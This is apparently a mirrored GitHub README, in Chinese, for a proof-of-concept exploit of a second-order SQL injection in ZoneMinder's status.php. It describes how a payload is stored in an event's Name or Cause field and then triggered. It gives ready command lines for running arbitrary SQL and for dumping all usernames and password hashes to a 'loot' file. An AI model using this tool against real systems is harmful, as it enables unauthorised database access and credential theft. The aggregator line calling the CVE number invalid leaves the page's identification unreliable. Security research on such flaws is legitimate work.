d3vn0mi/CVE-2026-27470-POC
GitHub: d3vn0mi/CVE-2026-27470-POC
一个声称针对 CVE-2026-27470 漏洞的概念验证仓库,但该 CVE 编号目前无效。
Stars: 0 | Forks: 0
# CVE-2026-27470 — ZoneMinder 二阶 SQL 注入 PoC
**作者:[d3vn0mi](https://github.com/d3vn0mi)** | **CVSS 8.8** | 需要认证 | 需要 Events 权限
## 概述
CVE-2026-27470 是 ZoneMinder 的 `web/ajax/status.php` 中的一个二阶 SQL 注入漏洞,具体位于 `getNearEvents()` 函数中。
| 详情 | 值 |
|--------------------|--------------------------------|
| **受影响版本** | ZoneMinder <= 1.36.37 和 1.37.61 – 1.38.0 |
| **修复版本** | 1.36.38 / 1.38.1 |
| **类型** | 二阶 SQL 注入(Second-Order SQL Injection) |
| **需要认证** | 是(任何具有 Events 权限的用户) |
| **CVSS** | 8.8(高) |
## 工作原理
该漏洞是一个**两阶段**(二阶)SQL 注入:
1. **阶段 1 — 存储**:攻击者重命名一个事件(或编辑其 Cause 字段),使其包含 SQL payload。ZoneMinder 为此写入操作使用了参数化查询,因此 payload 被安全地存储在数据库中——没有任何 WAF 或过滤器拦截它。
2. **阶段 2 — 触发**:攻击者通过 status API 请求 `nearevents` 实体。`getNearEvents()` 函数从数据库读取存储的事件名称/原因(Name/Cause),并在**没有进行清理(sanitization)的情况下将其直接拼接进一条新的 SQL 查询中**,导致 SQL 注入。
因为注入向量(存储的数据)与触发器(一个纯净的 GET 请求)是分开的,所以这绕过了大多数输入级别的保护。
## 安装
```
git clone https://github.com/d3vn0mi/CVE-2026-27470-POC.git
cd CVE-2026-27470-POC
pip install -r requirements.txt
```
## 用法
### 基础用法 — 提取数据库版本
```
python3 poc.py -t http://10.10.10.10 -u admin -p password
```
### 自定义 SQL 查询
```
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT user()"
```
### 导出所有用户和密码哈希
```
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users
```
凭据信息默认保存到 `dumped_creds.txt` 中。
### 将结果保存到自定义文件
```
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users -o loot.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT @@datadir" -o result.txt
```
### 通过代理路由(Burp / mitmproxy)
```
python3 poc.py -t http://10.10.10.10 -u admin -p password --proxy http://127.0.0.1:8080
```
### 使用 Cause 字段代替 Name
```
python3 poc.py -t http://10.10.10.10 -u admin -p password --field Cause --query "SELECT database()"
```
### 手动指定事件 ID
```
python3 poc.py -t http://10.10.10.10 -u admin -p password --event-id 42
```
### 详细 / 调试输出
```
python3 poc.py -t http://10.10.10.10 -u admin -p password -v
```
## 选项
| 标志 | 描述 | 默认值 |
|-----------------|----------------------------------------------------|--------------------|
| `-t, --target` | 目标 URL | *(必填)* |
| `-u, --username`| ZoneMinder 用户名 | *(必填)* |
| `-p, --password`| ZoneMinder 密码 | *(必填)* |
| `--query` | 要执行的 SQL 查询 | `SELECT VERSION()` |
| `--dump-users` | 导出所有用户名和密码哈希 | |
| `-o, --output` | 将结果保存到文件 | `dumped_creds.txt` |
| `--event-id` | 用作注入载体的事件 ID | *(自动检测)* |
| `--field` | 注入字段:`Name` 或 `Cause` | `Name` |
| `--no-restore` | 在利用后不恢复事件名称 | |
| `--proxy` | HTTP 代理 URL | |
| `--timeout` | 请求超时时间(秒) | `30` |
| `-v, --verbose` | 启用调试日志 | |
## 免责声明
本工具仅供**教育和授权的安全研究目的使用**。请勿对您不拥有或未获得明确书面测试许可的系统使用此工具。对于因使用本工具而造成的任何误用或损害,作者不承担任何责任。
## 参考
- [ZoneMinder 官方网站](https://zoneminder.com/)
- [ZoneMinder GitHub 仓库](https://github.com/ZoneMinder/ZoneMinder)
标签:CISA项目, Maven, Python, SQL注入, Web安全, 无后门, 漏洞利用, 漏洞验证, 蓝队分析